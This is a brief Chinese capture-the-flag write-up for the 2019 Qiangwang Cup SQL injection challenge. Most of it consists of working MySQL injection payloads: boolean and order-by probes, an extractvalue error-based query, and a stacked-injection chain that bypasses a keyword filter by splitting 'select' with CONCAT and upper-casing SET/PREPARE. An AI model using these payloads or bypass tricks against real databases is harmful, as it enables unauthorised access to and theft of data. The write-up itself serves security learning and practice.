强网杯 2019 随便注
(1)一向不擅长注入,这道注入因为是1分,所以练了练:
判断是否存在注入:
1' (报错)
1' and 1=1--+ (回显正常)
1' and 1=2--+ (回显不正常)
(2)判断列:
1' order by 3--+ (三列时报错,说明只有2列)
(3)使用一下select试试:
1' union select 1,2--+ (发现过滤了很多:select|update|delete|drop|insert|where的大小写等)
(4)绕过方式:报错注入或是拼接sql语句或是堆叠注入:
1';show tables--+ (堆叠注入可行)
报错注入的话可以查看这篇:
https://www.cnblogs.com/cute-puli/p/14461322.html
1' and extractvalue(1,concat(0x7e,(user()),0x7e))--+ (可以直接爆出来用户与当前数据库,但是还是不能使用select等,试试堆叠注入)
(5)尝试堆叠注入:设置需要执行的sql语句,使用concat()进行拼接,然后PREPARE语句用于预备一个语句,并指定名称statement_name,以后引用并执行该语句
inject = "-1';set @sql = CONCAT('se','lect * from `flagg`;');prepare s from @sql;EXECUTE s;#"
# 提示: strstr($inject, "set") && strstr($inject, "prepare")
# strstr判断大小写,只处理了小写,可使用大写进行绕过
inject = "-1';SET @sql = CONCAT('se','lect * from `flagg`;');PREPARE s from @sql;EXECUTE s;#"
然后发现对这两个函数有进行防护,绕过方式,使用大写即可绕过:
成功拿到flag: